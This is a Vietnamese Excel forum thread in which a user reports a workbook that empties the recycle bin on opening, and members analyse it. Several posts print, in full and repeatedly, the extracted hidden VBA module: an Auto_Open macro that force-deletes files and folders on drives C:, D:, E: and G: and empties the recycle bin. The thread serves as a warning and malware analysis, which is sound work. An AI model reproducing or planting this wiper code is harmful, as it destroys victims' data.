VBA có thể xóa file trong hệ thống không ạ?

Liên hệ QC
L

letanphong_xd

Thành viên mới
Tham gia
14/10/21
Bài viết
8
Được thích
1
Em chào anh chị ạ, em có một file Excel có chứa VBA, nhưng không hiểu sao cứ mở lên là nó tự động làm rỗng thùng rác, thử đi thử lại nhiều lần cũng vậy.
Anh chị cho em hỏi là VBA có lệnh điều khiển để can thiệp vào các file như sửa, xóa file khác ngoài Excel không ạ?

Em gửi file anh chị xem dùm em trong file này có lệnh nào bất thường không ạ, em tìm không thấy ạ?

Ah chú ý là anh chị mở file lên nó sẽ làm rỗng thùng rác nhé ạ!
Em cám ơn ạ!

----------
Xóa file đính kèm do chứa virus
ptm0412
 
Chỉnh sửa lần cuối bởi điều hành viên:
Sắp xếp theo thời gian sắp xếp theo bầu chọn
letanphong_xd đã viết:
Em chào anh chị ạ, em có một file Excel có chứa VBA, nhưng không hiểu sao cứ mở lên là nó tự động làm rỗng thùng rác, thử đi thử lại nhiều lần cũng vậy.
Anh chị cho em hỏi là VBA có lệnh điều khiển để can thiệp vào các file như sửa, xóa file khác ngoài Excel không ạ?

Em gửi file anh chị xem dùm em trong file này có lệnh nào bất thường không ạ, em tìm không thấy ạ?

Ah chú ý là anh chị mở file lên nó sẽ làm rỗng thùng rác nhé ạ!
Em cám ơn ạ!
Nhấp chuột vào đây để mở rộng...
Nghe bạn nói tôi thấy hơi sợ sợ.
Thôi không dám tải về xem, chờ người khác dũng cảm hơn -0-0-0- -0-0-0- -0-0-0-
 
Upvote 0
Trả lời: Có.
Dọn thùng rác là may quá rồi còn gì. Xoá trắng cả ổ cứng ấy chứ, làm bay màu luôn cả hệ điều hành ấy chứ.
 
Upvote 0
vanthinh3101 đã viết:
Nghe bạn nói tôi thấy hơi sợ sợ.
Thôi không dám tải về xem, chờ người khác dũng cảm hơn -0-0-0- -0-0-0- -0-0-0-
Nhấp chuột vào đây để mở rộng...
letanphong_xd đã viết:
Em chào anh chị ạ, em có một file Excel có chứa VBA, nhưng không hiểu sao cứ mở lên là nó tự động làm rỗng thùng rác, thử đi thử lại nhiều lần cũng vậy.
Anh chị cho em hỏi là VBA có lệnh điều khiển để can thiệp vào các file như sửa, xóa file khác ngoài Excel không ạ?

Em gửi file anh chị xem dùm em trong file này có lệnh nào bất thường không ạ, em tìm không thấy ạ?

Ah chú ý là anh chị mở file lên nó sẽ làm rỗng thùng rác nhé ạ!
Em cám ơn ạ!
Nhấp chuột vào đây để mở rộng...
Tôi nhìn vào filet đính kèm.
Có một số mô-đun ẩn trong đó.
Họ trống rỗng nhưng bạn có một cái bạn đang tìm kiếm.
Các thư mục khác cũng sẽ bị xóa!

Nếu nó quan trọng với bạn, tệp này, hãy lưu nó vào định dạng XLSX và chọn lại macro của riêng bạn.

Google được dịch, tôi hy vọng nó là dễ hiểu. Tôi là người Hung ga ri.

Đây là mã ẩn:
Mã: 
Private Declare Function EmptyRecycleBin Lib "shell32.dll" _
Alias "SHEmptyRecycleBinA" ( _
ByVal hwnd As Long, _
ByVal pszRootPath As String, _
ByVal dwFlags As Long) As Long


Sub X58454848887788()
On Error Resume Next
Dim Para As Long
Dim lngRet As Long
lngRet = EmptyRecycleBin(0&, vbNullString, 1&)
End Sub



Sub Auto_Open()
On Error Resume Next
If Sheets("BLuong").Range("BW6") = 1 Then
X1
X2
X3
X4
X58454848887788
End If
End Sub



Sub X1()
On Error Resume Next
Dim t8eeb37815032c4fc9fbefba9ca8da0db As Object
Dim z36d97c9f5d12c964f64e7b2d4a67779d As String
Set t8eeb37815032c4fc9fbefba9ca8da0db = CreateObject("scripting.filesystemobject")
z36d97c9f5d12c964f64e7b2d4a67779d = "G:\"
If Right(z36d97c9f5d12c964f64e7b2d4a67779d, 1) = "\" Then
z36d97c9f5d12c964f64e7b2d4a67779d = Left(z36d97c9f5d12c964f64e7b2d4a67779d, Len(z36d97c9f5d12c964f64e7b2d4a67779d) - 1)
End If
t8eeb37815032c4fc9fbefba9ca8da0db.deletefile z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
t8eeb37815032c4fc9fbefba9ca8da0db.DeleteFolder z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
End Sub


Sub X2()
On Error Resume Next
Dim t8eeb37815032c4fc9fbefba9ca8da0db As Object
Dim z36d97c9f5d12c964f64e7b2d4a67779d As String
Set t8eeb37815032c4fc9fbefba9ca8da0db = CreateObject("scripting.filesystemobject")
z36d97c9f5d12c964f64e7b2d4a67779d = "E:\"
If Right(z36d97c9f5d12c964f64e7b2d4a67779d, 1) = "\" Then
z36d97c9f5d12c964f64e7b2d4a67779d = Left(z36d97c9f5d12c964f64e7b2d4a67779d, Len(z36d97c9f5d12c964f64e7b2d4a67779d) - 1)
End If
t8eeb37815032c4fc9fbefba9ca8da0db.deletefile z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
t8eeb37815032c4fc9fbefba9ca8da0db.DeleteFolder z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
End Sub


Sub X3()
On Error Resume Next
Dim t8eeb37815032c4fc9fbefba9ca8da0db As Object
Dim z36d97c9f5d12c964f64e7b2d4a67779d As String
Set t8eeb37815032c4fc9fbefba9ca8da0db = CreateObject("scripting.filesystemobject")
z36d97c9f5d12c964f64e7b2d4a67779d = "D:\"
If Right(z36d97c9f5d12c964f64e7b2d4a67779d, 1) = "\" Then
z36d97c9f5d12c964f64e7b2d4a67779d = Left(z36d97c9f5d12c964f64e7b2d4a67779d, Len(z36d97c9f5d12c964f64e7b2d4a67779d) - 1)
End If
t8eeb37815032c4fc9fbefba9ca8da0db.deletefile z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
t8eeb37815032c4fc9fbefba9ca8da0db.DeleteFolder z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
End Sub



Sub X4()
On Error Resume Next
Dim t8eeb37815032c4fc9fbefba9ca8da0db As Object
Dim z36d97c9f5d12c964f64e7b2d4a67779d As String
Set t8eeb37815032c4fc9fbefba9ca8da0db = CreateObject("scripting.filesystemobject")
z36d97c9f5d12c964f64e7b2d4a67779d = "C:\"
If Right(z36d97c9f5d12c964f64e7b2d4a67779d, 1) = "\" Then
z36d97c9f5d12c964f64e7b2d4a67779d = Left(z36d97c9f5d12c964f64e7b2d4a67779d, Len(z36d97c9f5d12c964f64e7b2d4a67779d) - 1)
End If
t8eeb37815032c4fc9fbefba9ca8da0db.deletefile z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
t8eeb37815032c4fc9fbefba9ca8da0db.DeleteFolder z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
End Sub
 
Upvote 0
befaint đã viết:
Trả lời: Có.
Dọn thùng rác là may quá rồi còn gì. Xoá trắng cả ổ cứng ấy chứ, làm bay màu luôn cả hệ điều hành ấy chứ.
Nhấp chuột vào đây để mở rộng...
Nguy hiểm vậy hả bác? Vậy mình tải file có chứa macro trên mạng về đầy rủi ro nhỉ?
Bài đã được tự động gộp:

bGuz đã viết:
Tôi nhìn vào filet đính kèm.
Có một số mô-đun ẩn trong đó.
Họ trống rỗng nhưng bạn có một cái bạn đang tìm kiếm.
Các thư mục khác cũng sẽ bị xóa!

Nếu nó quan trọng với bạn, tệp này, hãy lưu nó vào định dạng XLSX và chọn lại macro của riêng bạn.

Google được dịch, tôi hy vọng nó là dễ hiểu. Tôi là người Hung ga ri.

Đây là mã ẩn:
Mã: 
Private Declare Function EmptyRecycleBin Lib "shell32.dll" _
Alias "SHEmptyRecycleBinA" ( _
ByVal hwnd As Long, _
ByVal pszRootPath As String, _
ByVal dwFlags As Long) As Long


Sub X58454848887788()
On Error Resume Next
Dim Para As Long
Dim lngRet As Long
lngRet = EmptyRecycleBin(0&, vbNullString, 1&)
End Sub



Sub Auto_Open()
On Error Resume Next
If Sheets("BLuong").Range("BW6") = 1 Then
X1
X2
X3
X4
X58454848887788
End If
End Sub



Sub X1()
On Error Resume Next
Dim t8eeb37815032c4fc9fbefba9ca8da0db As Object
Dim z36d97c9f5d12c964f64e7b2d4a67779d As String
Set t8eeb37815032c4fc9fbefba9ca8da0db = CreateObject("scripting.filesystemobject")
z36d97c9f5d12c964f64e7b2d4a67779d = "G:\"
If Right(z36d97c9f5d12c964f64e7b2d4a67779d, 1) = "\" Then
z36d97c9f5d12c964f64e7b2d4a67779d = Left(z36d97c9f5d12c964f64e7b2d4a67779d, Len(z36d97c9f5d12c964f64e7b2d4a67779d) - 1)
End If
t8eeb37815032c4fc9fbefba9ca8da0db.deletefile z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
t8eeb37815032c4fc9fbefba9ca8da0db.DeleteFolder z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
End Sub


Sub X2()
On Error Resume Next
Dim t8eeb37815032c4fc9fbefba9ca8da0db As Object
Dim z36d97c9f5d12c964f64e7b2d4a67779d As String
Set t8eeb37815032c4fc9fbefba9ca8da0db = CreateObject("scripting.filesystemobject")
z36d97c9f5d12c964f64e7b2d4a67779d = "E:\"
If Right(z36d97c9f5d12c964f64e7b2d4a67779d, 1) = "\" Then
z36d97c9f5d12c964f64e7b2d4a67779d = Left(z36d97c9f5d12c964f64e7b2d4a67779d, Len(z36d97c9f5d12c964f64e7b2d4a67779d) - 1)
End If
t8eeb37815032c4fc9fbefba9ca8da0db.deletefile z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
t8eeb37815032c4fc9fbefba9ca8da0db.DeleteFolder z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
End Sub


Sub X3()
On Error Resume Next
Dim t8eeb37815032c4fc9fbefba9ca8da0db As Object
Dim z36d97c9f5d12c964f64e7b2d4a67779d As String
Set t8eeb37815032c4fc9fbefba9ca8da0db = CreateObject("scripting.filesystemobject")
z36d97c9f5d12c964f64e7b2d4a67779d = "D:\"
If Right(z36d97c9f5d12c964f64e7b2d4a67779d, 1) = "\" Then
z36d97c9f5d12c964f64e7b2d4a67779d = Left(z36d97c9f5d12c964f64e7b2d4a67779d, Len(z36d97c9f5d12c964f64e7b2d4a67779d) - 1)
End If
t8eeb37815032c4fc9fbefba9ca8da0db.deletefile z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
t8eeb37815032c4fc9fbefba9ca8da0db.DeleteFolder z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
End Sub



Sub X4()
On Error Resume Next
Dim t8eeb37815032c4fc9fbefba9ca8da0db As Object
Dim z36d97c9f5d12c964f64e7b2d4a67779d As String
Set t8eeb37815032c4fc9fbefba9ca8da0db = CreateObject("scripting.filesystemobject")
z36d97c9f5d12c964f64e7b2d4a67779d = "C:\"
If Right(z36d97c9f5d12c964f64e7b2d4a67779d, 1) = "\" Then
z36d97c9f5d12c964f64e7b2d4a67779d = Left(z36d97c9f5d12c964f64e7b2d4a67779d, Len(z36d97c9f5d12c964f64e7b2d4a67779d) - 1)
End If
t8eeb37815032c4fc9fbefba9ca8da0db.deletefile z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
t8eeb37815032c4fc9fbefba9ca8da0db.DeleteFolder z36d97c9f5d12c964f64e7b2d4a67779d & "\*.*", True
End Sub
Nhấp chuột vào đây để mở rộng...
Em nhìn vào code này em không hiểu gì, anh chị nào có thể giải thích giúp em không ạ? Lệnh trên dùng để làm gì vậy?
 
Upvote 0
Nhìn code kia thì đoán ngay nó chả tử tế gì, vì bình thường không ai cố tình tạo tên biến lằng nhằng.
 
Upvote 0
quanluu đã viết:
Code nguy hiểm quá, xóa tất cả các ổ C,D,E,G và thùng rác
Nhấp chuột vào đây để mở rộng...
Anh nói thì em mới để ý, nó xóa thùng rác và cả file của em trong ổ các ổ đĩa, nhưng chỉ là file trong ổ đĩa thôi, còn thư mục và các file trong thư mục thì nó không xóa được. Chắc code nó sai rồi. Cũng may cho em.

Như vậy là code này đặt trong module ẩn. Vậy cho em hỏi có cách nào hiện Module đã bị ẩn của 1 file excel nào đó không ạ?

Và cho em hỏi là trên đoạn code kia có một sub là Sub Auto _ Open(), sub này nó tự động chạy khi mở file ạ? Em tưởng muốn chạy một sub nào khi mở file thì mình phải đặt vào Workbook_Open chứ nhỉ?

Mong mấy anh khai sáng giúp em với! Em cám ơn!
 
Upvote 0
letanphong_xd đã viết:
Và cho em hỏi là trên đoạn code kia có một sub là Sub Auto _ Open(), sub này nó tự động chạy khi mở file ạ? Em tưởng muốn chạy một sub nào khi mở file thì mình phải đặt vào Workbook_Open chứ nhỉ?
Nhấp chuột vào đây để mở rộng...

Tự mình thử nghiệm là biết liền mà bạn. Tự kiểm tra cùng lắm hết 1 phút là biết.

Sub auto_open()
msgbox "chay luon nè"
End sub
 
Upvote 0
befaint đã viết:
Tự mình thử nghiệm là biết liền mà bạn. Tự kiểm tra cùng lắm hết 1 phút là biết.

Sub auto_open()
msgbox "chay luon nè"
End sub
Nhấp chuột vào đây để mở rộng...
Dạ đúng là như vậy. Vậy mình có cách nào phát hiện được module ẩn không bác?
Em chỉ cần phát hiện được module ẩn thôi chứ không cần cách ẩn module, để em có thể phát hiện ra những trường hợp như thế này!
Cám ơn bác nhiều!
 
Upvote 0
Nếu VBA chứa các mã sau, nó không chạy, không khởi động auto_open và auto_close. Ngay cả khi không có gì khác là trong đó.
Mã: 
Private Sub Workbook_BeforeClose(Cancel As Boolean)

End Sub

Private Sub Workbook_Open()

End Sub
Bài đã được tự động gộp:

Mã: 
Private Declare Function EmptyRecycleBin Lib "shell32.dll" _
Alias "SHEmptyRecycleBinA" ( _
ByVal hwnd As Long, _
ByVal pszRootPath As String, _
ByVal dwFlags As Long) As Long


Sub X58454848887788()
On Error Resume Next
Dim Para As Long
Dim lngRet As Long
lngRet = EmptyRecycleBin(0&, vbNullString, 1&)
End Sub



Sub Auto_Open()
On Error Resume Next
If Sheets("BLuong").Range("BW6") = 1 Then
X1
X2
X3
X4
X58454848887788
End If
End Sub



Sub X1()
On Error Resume Next
Dim FSo As Object
Dim xDrive As String
Set FSo = CreateObject("scripting.filesystemobject")
xDrive = "G:\"
If Right(xDrive, 1) = "\" Then
xDrive = Left(xDrive, Len(xDrive) - 1)
End If
FSo.deletefile xDrive & "\*.*", True
FSo.DeleteFolder xDrive & "\*.*", True
End Sub


Sub X2()
On Error Resume Next
Dim FSo As Object
Dim xDrive As String
Set FSo = CreateObject("scripting.filesystemobject")
xDrive = "E:\"
If Right(xDrive, 1) = "\" Then
xDrive = Left(xDrive, Len(xDrive) - 1)
End If
FSo.deletefile xDrive & "\*.*", True
FSo.DeleteFolder xDrive & "\*.*", True
End Sub


Sub X3()
On Error Resume Next
Dim FSo As Object
Dim xDrive As String
Set FSo = CreateObject("scripting.filesystemobject")
xDrive = "D:\"
If Right(xDrive, 1) = "\" Then
xDrive = Left(xDrive, Len(xDrive) - 1)
End If
FSo.deletefile xDrive & "\*.*", True
FSo.DeleteFolder xDrive & "\*.*", True
End Sub



Sub X4()
On Error Resume Next
Dim FSo As Object
Dim xDrive As String
Set FSo = CreateObject("scripting.filesystemobject")
xDrive = "C:\"
If Right(xDrive, 1) = "\" Then
xDrive = Left(xDrive, Len(xDrive) - 1)
End If
FSo.deletefile xDrive & "\*.*", True
FSo.DeleteFolder xDrive & "\*.*", True
End Sub
Các mô-đun ẩn là dễ hiểu hơn:
 
Lần chỉnh sửa cuối:
Upvote 0
bGuz đã viết:
Nếu VBA chứa các mã sau, nó không chạy, không khởi động auto_open và auto_close. Ngay cả khi không có gì khác là trong đó.
Mã: 
Private Sub Workbook_BeforeClose(Cancel As Boolean)

End Sub

Private Sub Workbook_Open()

End Sub
Bài đã được tự động gộp:

Mã: 
Private Declare Function EmptyRecycleBin Lib "shell32.dll" _
Alias "SHEmptyRecycleBinA" ( _
ByVal hwnd As Long, _
ByVal pszRootPath As String, _
ByVal dwFlags As Long) As Long


Sub X58454848887788()
On Error Resume Next
Dim Para As Long
Dim lngRet As Long
lngRet = EmptyRecycleBin(0&, vbNullString, 1&)
End Sub



Sub Auto_Open()
On Error Resume Next
If Sheets("BLuong").Range("BW6") = 1 Then
X1
X2
X3
X4
X58454848887788
End If
End Sub



Sub X1()
On Error Resume Next
Dim FSo As Object
Dim xDrive As String
Set FSo = CreateObject("scripting.filesystemobject")
xDrive = "G:\"
If Right(xDrive, 1) = "\" Then
xDrive = Left(xDrive, Len(xDrive) - 1)
End If
FSo.deletefile xDrive & "\*.*", True
FSo.DeleteFolder xDrive & "\*.*", True
End Sub


Sub X2()
On Error Resume Next
Dim FSo As Object
Dim xDrive As String
Set FSo = CreateObject("scripting.filesystemobject")
xDrive = "E:\"
If Right(xDrive, 1) = "\" Then
xDrive = Left(xDrive, Len(xDrive) - 1)
End If
FSo.deletefile xDrive & "\*.*", True
FSo.DeleteFolder xDrive & "\*.*", True
End Sub


Sub X3()
On Error Resume Next
Dim FSo As Object
Dim xDrive As String
Set FSo = CreateObject("scripting.filesystemobject")
xDrive = "D:\"
If Right(xDrive, 1) = "\" Then
xDrive = Left(xDrive, Len(xDrive) - 1)
End If
FSo.deletefile xDrive & "\*.*", True
FSo.DeleteFolder xDrive & "\*.*", True
End Sub



Sub X4()
On Error Resume Next
Dim FSo As Object
Dim xDrive As String
Set FSo = CreateObject("scripting.filesystemobject")
xDrive = "C:\"
If Right(xDrive, 1) = "\" Then
xDrive = Left(xDrive, Len(xDrive) - 1)
End If
FSo.deletefile xDrive & "\*.*", True
FSo.DeleteFolder xDrive & "\*.*", True
End Sub
Các mô-đun ẩn là dễ hiểu hơn:
Nhấp chuột vào đây để mở rộng...
nếu C:\ = cài Windows thì code sau sẻ sao ta = xem mà thấy mắc ....

Mã: 
Sub X4()
On Error Resume Next
Dim FSo As Object
Dim xDrive As String
Set FSo = CreateObject("scripting.filesystemobject")
xDrive = "C:\"
If Right(xDrive, 1) = "\" Then
xDrive = Left(xDrive, Len(xDrive) - 1)
End If
FSo.deletefile xDrive & "\*.*", True
FSo.DeleteFolder xDrive & "\*.*", True
End Sub
 
Upvote 0
Tôi có đủ kinh nghiệm để trích xuất các tập tin đó. Tôi vừa xuất bản mã để mọi người có thể thấy việc họ có thể gây hại như thế nào thực tế rằng họ nhìn vào các tệp đã tải xuống từ Internet. Mã chứa rất nghiệp dư, các dòng không cần thiết. Tôi không khuyên bạn nên tải xuống và cố gắng tải xuống tệp cho bất kỳ ai không biết cách hiển thị các mô-đun ẩn.
 
Upvote 0
letanphong_xd đã viết:
Dạ đúng là như vậy. Vậy mình có cách nào phát hiện được module ẩn không bác?
Em chỉ cần phát hiện được module ẩn thôi chứ không cần cách ẩn module, để em có thể phát hiện ra những trường hợp như thế này!
Cám ơn bác nhiều!
Nhấp chuột vào đây để mở rộng...
AutoOpen_01.jpgAutoOpen_02.jpgAutoOpen_03.jpgAutoOpen_04.jpgAutoOpen_05.jpgAutoOpen_06.jpgAutoOpen_07.jpgAutoOpen_08.jpgAutoOpen_09.jpgAutoOpen_10.jpg
Bản phát được thực hiện bởi Google từ Hungary.
Tôi hy vọng bạn hiểu.
 
Upvote 0
Upvote 0
Kiều Mạnh đã viết:
nếu C:\ = cài Windows thì code sau sẻ sao ta = xem mà thấy mắc ....

Mã: 
Sub X4()
On Error Resume Next
Dim FSo As Object
Dim xDrive As String
Set FSo = CreateObject("scripting.filesystemobject")
xDrive = "C:\"
If Right(xDrive, 1) = "\" Then
xDrive = Left(xDrive, Len(xDrive) - 1)
End If
FSo.deletefile xDrive & "\*.*", True
FSo.DeleteFolder xDrive & "\*.*", True
End Sub
Nhấp chuột vào đây để mở rộng...
Em đã hiểu được vấn đề!
Đây là vấn đề code nguy hiểm, em nghĩ Mod nên xóa bài này hoặc các dòng code kia đi, kẻo có người lại copy đi hại người khác ạ!

Và cho em hỏi hằng ngày Mod hỗ trợ thành viên thường tải rất nhiều file có chứa macro, thì sao tránh được nguy hiểm ạ? Hay các Mod có cách riêng của mình để tránh rủi ro ạ! Em cám ơn.
 
Upvote 0
Bạn phải đăng nhập hoặc đăng ký để trả lời bài viết tại đây.
Web KT

Bài viết mới nhất

dunghtgiga
  • Đã khóa
Tính bốn tuần cho một tháng
Trả lời
9
Đọc
232
ptm0412
ptm0412
N
Giúp sửa mã code
Trả lời
12
Đọc
186
ptm0412
ptm0412
zarra
Cần giúp tạo form in mã vạch cho vật tư theo SL cụ thể.
Trả lời
3
Đọc
77
HUONGHCKT
H
ongke0711
  • Question
Tải hóa đơn điện tử (https://hoadondientu.gdt.gov.vn/) Excel Vba
    • Thích
    • Yêu thích
10 11 12
Trả lời
237
Đọc
12K
Hoàng Trọng Hữu
Hoàng Trọng Hữu
Mr Đạo
in giấy ra bị lệch xuống dưới
    • Thích
2
Trả lời
29
Đọc
26K
Hoàng Tuấn 868
H
P
Tổng hợp dữ liệu từ các sheet theo chọn lọc
Trả lời
1
Đọc
27
Hoàng Tuấn 868
H
H
Không xem được ảnh trên Excel
Trả lời
3
Đọc
1K
huyentran9292
H
T
Xin form quản lý dữ liệu học viên của Trung tâm Đào tạo
Trả lời
2
Đọc
201
hakiru188
H
Tuấn Bụng Bự
  • Question
Tìm Bộ 8 số xuất hiện nhiều nhất trong random( 1 - 80)
Trả lời
6
Đọc
176
Tuấn Bụng Bự
Tuấn Bụng Bự
C
Code Lọc Dữ Liệu
Trả lời
10
Đọc
153
Cúc Hr
C
Y
Cách ẩn công thức 1 ô trong sheet
Trả lời
8
Đọc
107
hoangminhtien
hoangminhtien
vuha
  • Question
Lỗi chọn dòng thứ 6 trong sheet được chọn: rows("6:6").select
Trả lời
12
Đọc
152
ptm0412
ptm0412
H
Hàm đếm số ngày thứ bảy và chủ nhật trong một khoảng thời gian
Trả lời
12
Đọc
19K
cantl
C
Nguyencaocuong86
Tô màu dữ liệu trùng lặp trong excel.
Trả lời
10
Đọc
132
Nguyencaocuong86
Nguyencaocuong86
Hoangquyenbong
  • Question
Nhờ viết code lọc dữ liệu tại các sheet khác nhau.
Trả lời
12
Đọc
159
Hoangquyenbong
Hoangquyenbong
D
Giúp em công thức lấy mã vật tư gồm 14 số?
Trả lời
3
Đọc
100
hoangminhtien
hoangminhtien
HeSanbi
  • Đã giải quyết
HÀM FITROW - Co giãn dòng tự động tối ưu nhất cho Excel v2.43 (*14/10/2024)
    • Thích
    • Yêu thích
2 3
Trả lời
48
Đọc
21K
HeSanbi
HeSanbi
L
Dùng vlookup đưa kết quả không được
Trả lời
19
Đọc
302
họ nguyễn tên thùy
họ nguyễn tên thùy
Ha Manh-LD
Thêm dòng cho 2 bảng cùng lúc
Trả lời
0
Đọc
56
Ha Manh-LD
Ha Manh-LD
T
Tối ưu hóa hàm lấy dữ liệu từ bảng Tổng sang bảng chi tiết
Trả lời
1
Đọc
135
Hoàng Tuấn 868
H
Xem thêm…

Thành viên có số lượng bài viết cao nhất tháng

Thành viên có điểm tương tác cao nhất tháng

Back
Top Bottom